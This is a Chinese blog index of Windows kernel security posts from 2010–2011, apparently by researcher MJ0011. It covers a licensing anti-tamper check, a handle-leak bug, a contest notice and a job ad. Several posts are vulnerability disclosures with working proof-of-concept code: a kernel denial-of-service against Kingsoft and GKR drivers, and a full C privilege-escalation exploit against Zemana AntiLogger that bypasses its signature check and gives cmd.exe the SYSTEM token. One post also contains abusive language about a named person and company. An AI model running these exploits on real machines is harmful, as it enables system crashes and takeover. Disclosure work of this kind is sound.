您正在查看 "默认分类" 分类下的文章 2011-09-08 15:14 在WEBKIT里编辑文章,IE下浏览出排版混在一起,WEBKIT下浏览横行被卷动 IE里编辑,IE下失去所有颜色,WEBKIT下浏览全部分开了。。。 太悲催了,还是去DEBUGMAN发吧 |
2011-09-08 14:53
在KiSystemStartup->KiInitializeKernel->InitBootProcessor->ExInitSystem中
char __stdcall ExInitSystem()
{
char result;
if ( InitializationPhase )
{
if ( InitializationPhase != TRUE )
{
KeBugCheck2(UNEXPECTED_INITIALIZATION_CALL, 3, InitializationPhase, 0, 0, 0);
__asm { int 3 ; Trap to Debugger }
}
result = ExpInitSystemPhase1(); //第一阶段的EX系统初始化
}
else {
sub_798CBB(); //<-----猫腻函数
result = ExpInitSystemPhase0(); //第零阶段的EX系统初始化
}
return result;
}
猫腻函数sub_798CBB在Phase0时执行,功能是计算和序列号、产品类型和授权相关的一些注册表键值数据等相关的字符串的CRC32值,然后和预设的对比
如果有某个不匹配,则置一个全局变量KdDumpEnableOffset的值为8(默认是0)
这个KdDumpEnableOffset的名字属于MS常玩的符号猫腻,实际上跟kernel debug和dump没什么关系
这个值实际上是在ExInitSystem->ExpInitSystemPhase1->ExpMutantInitialization这个函数里使用
这个函数也是一个比较迷惑的名字,和一堆EX系统的对象类型创建混在一起,本来是做Mutant对象类型的创建,但里面混了一行代码:
char __stdcall ExpMutantInitialization() { LSA_UNICODE_STRING DestinationString; // [sp+58h] [bp-8h]@1 int v2; // [sp+8h] [bp-58h]@1 signed int v3; // [sp+Ch] [bp-54h]@1 signed int v4; // [sp+10h] [bp-50h]@1 int v5; // [sp+14h] [bp-4Ch]@1 int v6; // [sp+18h] [bp-48h]@1 int v7; // [sp+1Ch] [bp-44h]@1 int v8; // [sp+20h] [bp-40h]@1 int v9; // [sp+2Ch] [bp-34h]@1 signed int v10; // [sp+34h] [bp-2Ch]@1 signed int v11; // [sp+24h] [bp-3Ch]@1 int (__stdcall *v12)(int); // [sp+44h] [bp-1Ch]@1
RtlInitUnicodeString(&DestinationString, &"Mutant"); memset(&v2, 0, 0x50u); memset((void *)(*(_DWORD *)(*MK_FP(__FS__, 0x124u) + 0x50) + 0x18), 0,KdDumpEnableOffset); LOWORD(v2) = 80; v3 = 2; v4 = 256; v5 = (_DWORD)ExpMutantMapping; v6 = ExpMutantMapping[1]; v7 = ExpMutantMapping[2]; v8 = ExpMutantMapping[3]; v9 = 0; v10 = 32; v11 = 2031617; v12 = ExpDeleteMutant; return ObCreateObjectTypeEx(&DestinationString, (int)&v2, 0, (int)&ExMutantObjectType) >= 0; }
红色加粗这行就是猫腻了,也就是phase0置成了8的话,这里就会把kthread->ApcState->Process->DirectoryTableBase和LdtDescriptor这两个域清0 ,
当前进程(SYSTEM进程)在后面的启动过程中就会出现诡异错误退出了
实际上就是起到防止那些注册表路径被修改的作用
最后附上那个计算的反汇编
INIT:00798CBB 8B FF mov edi, edi INIT:00798CBD 55 push ebp INIT:00798CBE 8B EC mov ebp, esp INIT:00798CC0 83 EC 6C sub esp, 6Ch INIT:00798CC3 68 94 F1 62 00 push offset aRegistryMac_15 ; "\\Registry\\Machine\\System\\Setup" INIT:00798CC8 E8 7C 01 00 00 call ComputerCrc32Forwstring INIT:00798CCD 68 80 F1 62 00 push offset aSetuptype ; "SetupType" INIT:00798CD2 89 45 94 mov [ebp+var_6C], eax INIT:00798CD5 E8 6F 01 00 00 call ComputerCrc32Forwstring INIT:00798CDA 68 64 F1 62 00 push offset aSystemprefix ; "SystemPrefix" INIT:00798CDF 89 45 98 mov [ebp+var_68], eax INIT:00798CE2 E8 62 01 00 00 call ComputerCrc32Forwstring INIT:00798CE7 68 E0 F0 62 00 push offset aRegistryMach_2 ; "\\Registry\\Machine\\System\\CurrentControl"... INIT:00798CEC 89 45 9C mov [ebp+var_64], eax INIT:00798CEF E8 55 01 00 00 call ComputerCrc32Forwstring INIT:00798CF4 68 C4 F0 62 00 push offset aProducttype_0 ; "ProductType" INIT:00798CF9 89 45 A0 mov [ebp+var_60], eax INIT:00798CFC E8 48 01 00 00 call ComputerCrc32Forwstring INIT:00798D01 68 B0 F0 62 00 push offset aLanman ; "Lanman" INIT:00798D06 89 45 A4 mov [ebp+var_5C], eax INIT:00798D09 E8 3B 01 00 00 call ComputerCrc32Forwstring INIT:00798D0E 68 9C F0 62 00 push offset aServernt ; "ServerNT" INIT:00798D13 89 45 A8 mov [ebp+var_58], eax INIT:00798D16 E8 2E 01 00 00 call ComputerCrc32Forwstring INIT:00798D1B 68 90 F0 62 00 push offset aWinnt ; "WinNT" INIT:00798D20 89 45 AC mov [ebp+var_54], eax INIT:00798D23 E8 21 01 00 00 call ComputerCrc32Forwstring INIT:00798D28 68 74 F0 62 00 push offset aProductsuite_0 ; "ProductSuite" INIT:00798D2D 89 45 B0 mov [ebp+var_50], eax INIT:00798D30 E8 14 01 00 00 call ComputerCrc32Forwstring INIT:00798D35 68 E8 EF 62 00 push offset aRegistryMac_16 ; "\\Registry\\Machine\\System\\CurrentControl"... INIT:00798D3A 89 45 B4 mov [ebp+var_4C], eax INIT:00798D3D E8 07 01 00 00 call ComputerCrc32Forwstring INIT:00798D42 68 C8 EF 62 00 push offset aConcurrentlimi ; "ConcurrentLimit" INIT:00798D47 89 45 B8 mov [ebp+var_48], eax INIT:00798D4A E8 FA 00 00 00 call ComputerCrc32Forwstring INIT:00798D4F 68 A8 EF 62 00 push offset aSmallBusiness ; "Small Business" INIT:00798D54 89 45 BC mov [ebp+var_44], eax INIT:00798D57 E8 ED 00 00 00 call ComputerCrc32Forwstring INIT:00798D5C 68 90 EF 62 00 push offset aEnterprise ; "Enterprise" INIT:00798D61 89 45 C0 mov [ebp+var_40], eax INIT:00798D64 E8 E0 00 00 00 call ComputerCrc32Forwstring INIT:00798D69 68 68 EF 62 00 push offset aCommunications ; "CommunicationServe" INIT:00798D6E 89 45 C4 mov [ebp+var_3C], eax INIT:00798D71 E8 D3 00 00 00 call ComputerCrc32Forwstring INIT:00798D76 68 50 EF 62 00 push offset aBackoffice ; "BackOffice" INIT:00798D7B 89 45 C8 mov [ebp+var_38], eax INIT:00798D7E E8 C6 00 00 00 call ComputerCrc32Forwstring INIT:00798D83 68 18 EF 62 00 push offset aSmallBusinessR ; "Small Business(Restricte" INIT:00798D88 89 45 CC mov [ebp+var_34], eax INIT:00798D8B E8 B9 00 00 00 call ComputerCrc32Forwstring INIT:00798D90 68 F8 EE 62 00 push offset aTerminalServe ; "Terminal Serve" INIT:00798D95 89 45 D0 mov [ebp+var_30], eax INIT:00798D98 E8 AC 00 00 00 call ComputerCrc32Forwstring INIT:00798D9D 68 E0 EE 62 00 push offset aEmbeddednt ; "EmbeddedNT" INIT:00798DA2 89 45 D4 mov [ebp+var_2C], eax INIT:00798DA5 E8 9F 00 00 00 call ComputerCrc32Forwstring INIT:00798DAA 68 C8 EE 62 00 push offset aDatacenter ; "DataCenter" INIT:00798DAF 89 45 D8 mov [ebp+var_28], eax INIT:00798DB2 E8 92 00 00 00 call ComputerCrc32Forwstring INIT:00798DB7 68 B4 EE 62 00 push offset aPersonal ; "Personal" INIT:00798DBC 89 45 DC mov [ebp+var_24], eax INIT:00798DBF E8 85 00 00 00 call ComputerCrc32Forwstring INIT:00798DC4 68 A8 EE 62 00 push offset aBlade ; "Blade" INIT:00798DC9 89 45 E0 mov [ebp+var_20], eax INIT:00798DCC E8 78 00 00 00 call ComputerCrc32Forwstring INIT:00798DD1 68 7C EE 62 00 push offset aEmbeddedRestri ; "Embedded(Restricted)" INIT:00798DD6 89 45 E4 mov [ebp+var_1C], eax INIT:00798DD9 E8 6B 00 00 00 call ComputerCrc32Forwstring INIT:00798DDE 68 54 EE 62 00 push offset aSecurityApplia ; "Security Appliance" INIT:00798DE3 89 45 E8 mov [ebp+var_18], eax INIT:00798DE6 E8 5E 00 00 00 call ComputerCrc32Forwstring INIT:00798DEB 68 34 EE 62 00 push offset aStorageServer ; "Storage Server" INIT:00798DF0 89 45 EC mov [ebp+var_14], eax INIT:00798DF3 E8 51 00 00 00 call ComputerCrc32Forwstring INIT:00798DF8 68 14 EE 62 00 push offset asc_62EE14 ; "Compute Server" INIT:00798DFD 89 45 F0 mov [ebp+var_10], eax INIT:00798E00 E8 44 00 00 00 call ComputerCrc32Forwstring INIT:00798E05 68 00 EE 62 00 push offset asc_62EE00 ; "WH Server" INIT:00798E0A 89 45 F4 mov [ebp+var_C], eax INIT:00798E0D E8 37 00 00 00 call ComputerCrc32Forwstring INIT:00798E12 68 D4 ED 62 00 push offset asc_62EDD4 ; "SystemSetupInProgress" INIT:00798E17 89 45 F8 mov [ebp+var_8], eax INIT:00798E1A E8 2A 00 00 00 call ComputerCrc32Forwstring INIT:00798E1F 89 45 FC mov [ebp+var_4], eax INIT:00798E22 33 C0 xor eax, eax INIT:00798E24 INIT:00798E24 loc_798E24: ; CODE XREF: sub_798CBB+185j INIT:00798E24 8B 4C 05 94 mov ecx, [ebp+eax+var_6C] INIT:00798E28 3B 88 A8 56 7B 00 cmp ecx, ds:OrgStringHash[eax] INIT:00798E2E 74 0A jz short loc_798E3A INIT:00798E30 C7 05 34 A7 53 00 08 00+ mov _KdDumpEnableOffset, 8 INIT:00798E3A INIT:00798E3A loc_798E3A: ; CODE XREF: sub_798CBB+173j INIT:00798E3A 83 C0 04 add eax, 4 INIT:00798E3D 83 F8 6C cmp eax, 6Ch INIT:00798E40 7C E2 jl short loc_798E24 INIT:00798E42 C9 leave INIT:00798E43 C3 retn
|
2011-04-08 18:47 网游、网银帐号密码、重要文档、私密照片……电脑既可以是你无话不谈的密友,也可能成为引发灾难的潘多拉魔盒。在木马病毒打开它之前,让我们给它上一把名叫360的锁。 最近四年,360每年至少有一款新产品成为行业第一:360安全卫士、360保险箱、360杀毒、360手机卫士,长则一年、短则三个月,这些产品便迅速成为各自领域的领头羊,360安全浏览器的市场份额也仅次于微软IE浏览器。目前,360已拥有3亿多用户,覆盖了超过80%的中国网民,成为全球用户量最大、发展最快的网络安全公司,同时也是国内用户量第三大的互联网公司。 为进一步推动国内软件安全技术的发展,为广大网民创造更为绿色的网络环境,360公司决定与Debugman论坛继续联合举办第三届360安全软件大赛。与前两届不同,本届大赛将分设海选和决赛两个环节,最终进入决赛的选手都将被邀请到360公司展开最后的车轮战!届时,还有机会与360核心技术团队与高层直接对话,期待每一位电脑高手的倾情参与!伸出手,你也能盖上潘多拉魔盒! 


  产品以实
| | |
|---|
| 一等奖 | 1 | 苹果笔记本 | | 二等奖 | 2 | iPad | | 三等奖 | 3 | iTouch |
第一阶段: 通过两道比赛题目, 海选出10位选手,海选题目公布时间为4月15日13:00,提交时间截止至4月25日24:00, 请所有参赛选手将题目答案发送邮件至:contest2011@360.cn,并注明姓名,地区,身份证号码和手机号码 第二阶段: 1.公布海选入围名单 2.公布PK赛的攻防题目与详细规则说明 3.在北京现场PK, 两天一夜(暂定5/14~5/15) 注:入围名单及决赛题目将在5月4日13:00时间公布PK 竞赛规则:海选入围名单出炉时公布细节注意事项:严禁同一人用两个或两个以上身份证ID参赛;请勿重复提交答案,如有重复发送者,均以第一次提交答案为准; 比赛期间欢迎大家开展讨论,但同时要注意对自己知识产权的保护,不得泄露答题的技术细节,不得交流会导致答案外泄的内容;违反以上任何一条,取消相关人员比赛资格。 评委专家:360技术工作人员以及Xikug |
2011-01-19 20:00 运行后,在"select or launch process"那里点cancel,然后点 "view"->"Fragmentation View",vmmap崩溃 64位版本不受影响 |
2011-01-16 11:54 # #前言: 基础知识都没搞好,就学人家Hook KiFastCallEntry, 蓝死人不偿命 # # 金山毒霸2011 SP5.2 KisKnl.sys <= 2011.1.13.89 三行代码内核拒绝服务漏洞 # # 日期: 2011-1-16 # 作者: MJ0011 # 测试平台: Windows XP SP3 细节原因: KisKnl.sys hook了KiFastCallEntry,但是未正确处理用户堆栈,跳过了系统的MmUserProbeAddress判断直接复制堆栈。 利用代码: __asm { mov edx , 0x80000000 mov eax , 0x101 ;id of NtTerminateProcess under Windows XP int 0x2e } |
2010-10-26 17:14 2K, XP ,2003 , Vista 的Windows操作系统目前为止的新版本中,IoDeleteSymbolicLink调用删除完符号链接后,会检查ObIsLUIDDeviceMapsEnabled,如果LUID DosDevices被禁用,而且开启了终端服务,将会调用IopDeleteSessionSymLinks删除\Session\*\DosDevice\下的同名符号链接。
其中IopDeleteSessionSymLinks在调用ZwOpenDirectoryObject会两次调用ExAllocatePoolWithTag申请内存分别存放Directory Informaiton和最终的符号链接名称,在申请内存失败时,函数没有关闭打开的目录对象句柄,就直接返回了,造成了句柄泄露
由于指定了OBJ_KERNEL_HANDLE,泄露将发生在Kernel Handle Table
F5整理代码(VISTA SP1):
//打开了句柄DirectoryHandle
InitializeObjectAttributes( &Attributes,
&UnicodeString,
OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,
NULL,
NULL
);
Status = ZwOpenDirectoryObject(&DirectoryHandle, DIRECTORY_QUERY, &Attributes);
if ( NT_SUCCESS(Status))
{
Size = 2 * LinkName->Length + 256;
NameBuffer = ExAllocatePoolWithTag(PagedPool, Size, ' oI');
pNameBuffer = NameBuffer;
if ( !NameBuffer )
//没有关闭句柄
return STATUS_INSUFFICIENT_RESOURCES;
SymbolicLinkName.Length = Size;
SymbolicLinkName.MaximumLength = Size;
SymbolicLinkName.Buffer = (PWSTR)NameBuffer;
DirInfoBuffer = (LSA_UNICODE_STRING *)ExAllocatePoolWithTag(PagedPool, 0x1000u, ' oI');
Buffer = DirInfoBuffer;
if ( !DirInfoBuffer )
{
//没有关闭句柄
ExFreePoolWithTag(pNameBuffer, 0);
return STATUS_INSUFFICIENT_RESOURCES;
}
Win7的内核似乎直接去掉了IopDeleteSessionSymLinks这个机制,所以没有这个泄露问题 |
2010-08-31 16:56 2010-08-06 15:35 Vmware WorkStation 7.1.0 VMX86.SYS <= 7.1.0.12623 的DeviceIo处理例程中存在一处BUG,可能引发系统崩溃
BUG位于vmx86设备的 IoControlCode = 0x8101401c , 该处理例程如下:
.text:000106C0 loc_106C0: ; CODE XREF: sub_10486+74 j
.text:000106C0 ; DATA XREF: .text:off_10F7E o
.text:000106C0 push 2 ; jumptable 000104FA case 212
.text:000106C2 pop edi
.text:000106C3 cmp [ebp+arg_8], edi
.text:000106C6 jb loc_10509
.text:000106C6
.text:000106CC mov byte ptr [esi+1], 0
.text:000106D0 push esi
.text:000106D1 call sub_13746
在sub_13746中有一处很明显的BUG:
.text:000137A4 loc_137A4: ; CODE XREF: sub_13746+BF j
.text:000137A4 mov cl, 1Dh ; NewIrql
.text:000137A6 call ds:KfRaiseIrql
.text:000137A6
.text:000137AC mov bl, al
.text:000137AE mov al, large fs:51h
.text:000137B4 movzx esi, al
.text:000137B7 call ds:KeQueryActiveProcessors
可以看到在高IRQL下调用了KeQueryActiveProcessors这个函数
参考MSDN中的描述:
In Windows Vista and later versions of Windows, this routine (KeQueryActiveProcessors) can be called at any IRQL. However, in Windows Server 2003 and earlier versions of Windows, this routine must be called at IRQL <= APC_LEVEL.
在Windows 2003及以前的操作系统,KeQueryActiveProcessors这个函数所在地址是可分页的,因此在被分页的情况下,vmware-vmx.exe调用此控制码就会引发系统蓝屏
不过vmx86.sys对设备打开做了控制,仅允许注册表Vmware.Inc /SID下指定用户的进程打开设备,因此这仅是一个BUG,不是拒绝服务漏洞。
本来觉得VMWARE应该算是在安全和驱动稳定性方面仅次于微软的公司了,没想到连驱动校验器都不过。。。
最后感谢我的同事ErayLee发现此问题 |
2010-08-05 20:29 中嘉华诚内核加固免疫系统GKR系列产品是北京中嘉华诚网络安全公司开发的一款安全防护软件,其内核驱动ProcFilter.sys (编译日期 = 2009.8.7 ,因该产品制作不规范,没有版本信息,因此以驱动编译日期为准) 存在多处本地内核拒绝服务漏洞,任意权限的用户可以构造特殊参数调用系统服务,引发系统崩溃
漏洞细节:
ProcFilter.sys的作者没有内核安全编程常识,没能正确理解内核驱动中缓存处理的安全方法,例如NtCreateFile的钩子中,仅仅在对传入的用户态参数进行Probe时使用了try_except ,在Probe完毕后就在没有SEH保护下进行了参数访问,因此引发了蓝屏
漏洞利用代码:
#include "stdafx.h"
#include "windows.h"
#include "winternl.h"
int main(int argc, char* argv[])
{
printf("GKR ProcFilter.sys <= 2009.8.7 Local D.O.S Vuln POC\n"
"Press Enter\n");
getchar();
ULONG i ;
for (i = 0x1000 ; i < 0x7fff0000 ; i+=0x1000)
{
if (IsBadReadPtr((PVOID)i , 1))
{
break ;
}
}
printf("bad page :%08x\n",i);
OBJECT_ATTRIBUTES oba ;
UNICODE_STRING uniname ;
oba.ObjectName = &uniname;
uniname.Length = 0x24 ;
uniname.Buffer = (PWSTR)i;
PVOID proc = GetProcAddress(GetModuleHandle("ntdll.dll") , "NtCreateFile");
__asm
{
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
lea eax , oba
push eax
push 0x40000102
push 0
call proc
}
return 0;
} |
2010-07-28 18:46 影响产品版本:
Zemana AntiLogger <=1.9.2.2.206
细节:
AntiLog32.sys 创建名为AntiLog32的设备,并处理0x8000201c的控制码,支持将一个PID所在进程的TOKEN修改为另一个的,并没有任何安全性检查,可引发权限提升
在AntiLog32设备打开时,会检查当前进程是否是带数字签名的,但方法仅仅是通过map 进程的section 并检查security节是否存在,可以轻易绕过。
通过提权的方式是ZwSetInformationProcess->ProcessAccessToken,因此需要一个空进程或仅有一个线程的进程,需要先创建暂停的进程,提权后再resume.
利用代码:
#include "stdafx.h"
#include "windows.h"
#include "winioctl.h"
#define IOCTL_IMPERSONATE_PROCESS CTL_CODE(0x8000 , 0x807 , METHOD_BUFFERED , FILE_ANY_ACCESS)
typedef struct _IMPERSONATE_PROCESS{
HANDLE ImpersonateProcess ;
HANDLE SystemProcess ;
}IMPERSONATE_PROCESS , *PIMPERSONATE_PROCESS;
int main(int argc, char* argv[])
{
printf("Zemana AntiLogger <=1.9.2.2.206 AntiLog32.sys <= 1.5.2.755\n"
"Local Privilege Escalation Vulnerability Proof-of-Concept\n"
"2010-7-28\n"
"By MJ0011 th_decoder@126.com\n\nPress Enter\n");
getchar();
//bypass some useless create check
PIMAGE_DOS_HEADER pdoshdr = (PIMAGE_DOS_HEADER)GetModuleHandle(NULL);
PIMAGE_NT_HEADERS pnthdr = (PIMAGE_NT_HEADERS)((ULONG)pdoshdr + pdoshdr->e_lfanew);
PVOID waddr = &pnthdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress ;
ULONG oldp ;
VirtualProtect(waddr , sizeof(ULONG) , PAGE_READWRITE , &oldp);
pnthdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress = 0x1 ;
VirtualProtect(waddr , sizeof(ULONG) , oldp , &oldp);
HANDLE hdev = CreateFile("\\\\.\\AntiLog32" ,
FILE_READ_ATTRIBUTES ,
FILE_SHARE_READ ,
0,
OPEN_EXISTING ,
0,0);
if (hdev == INVALID_HANDLE_VALUE)
{
printf("cannot open device %u\n" , GetLastError());
getchar();
return 0;
}
STARTUPINFOA sia ;
memset(&sia , 0 , sizeof(sia));
sia.cb = sizeof(sia);
PROCESS_INFORMATION pi ;
memset(&pi , 0 , sizeof(pi));
if (!CreateProcess("c:\\windows\\system32\\cmd.exe" ,
NULL ,
NULL,
NULL,
FALSE ,
CREATE_SUSPENDED,
NULL,
NULL,
&sia ,
&pi))
{
printf("cannot run cmd.exe....%u\n", GetLastError());
getchar();
return 0 ;
}
IMPERSONATE_PROCESS ip ;
ip.ImpersonateProcess = (HANDLE)pi.dwProcessId ;
ip.SystemProcess = (HANDLE)4 ; //// WinXP and later
ULONG btr ;
if (!DeviceIoControl(hdev , IOCTL_IMPERSONATE_PROCESS , &ip , sizeof(ip) , NULL , 0 , &btr, 0))
{
printf("cannot impersonate process %u\n" , GetLastError());
getchar();
return 0 ;
}
ResumeThread(pi.hThread);
printf("OK\n");
return 0;
} |
2010-07-14 22:55 工作地点:北京
人数:1~2 人
描述:内核防御产品的攻防漏洞挖掘、内核产品安全漏洞挖掘(白盒\黑盒)
通过者可同本人、PJF、Megadeth、wowocock、sudami、神秘高人N+个 等等高手牛人同在一个team工作哦~
要求:
1).熟悉各类木马病毒攻击技巧,擅于发掘安全防御产品的防护缺陷
2).熟悉Windows内核原理,擅长逆向分析,熟练使用逆向和内核调试工具,如IDA 、WINDBG等
3).熟悉各类安全漏洞,擅于发掘内核驱动及其他类型程序的安全漏洞
以上三点并非都一定要符合,符合其中任一点者亦可尝试:)
感兴趣的朋友请发简历到 hr-360 @ 360.cn或直接发小纸条联系我。 |
2010-07-08 22:32 2010-07-02 19:39 www.360.cm
看了就知道张立申是个多么傻逼的脑残,而标榜技术领先(其实技术相当挫)的卡巴斯基是怎么一个狗血公司~ |
2010-06-29 16:19 flashget3的广告不但烦人,而且会严重影响远程操作(远程桌面之类)的速度
弹广告的是FlashGetAdProcess.exe这个进程,但是直接删除会导致flashget3无法启动,提示被破坏
实际是flashget3开机时load了一下这个进程,并调用导出函数checkexe。
只需要将其pe头+5c的地址改为1,即SubSystem改为native,就可以了,不影响加载EXE调用导出函数,但这个EXE也不会再运行起来了。 |
2010-05-30 22:41 ntos\ps\psenum.c
line 825
Status = ObReferenceObjectByHandle (ThreadHandle,
0,
PsProcessType,
PreviousMode,
&Thread,
NULL);
会导致NtGetNextThread调用失败,不过WIN2003没有在SSDT中提供这个函数,而VISTA已修复了这个问题 |
| | |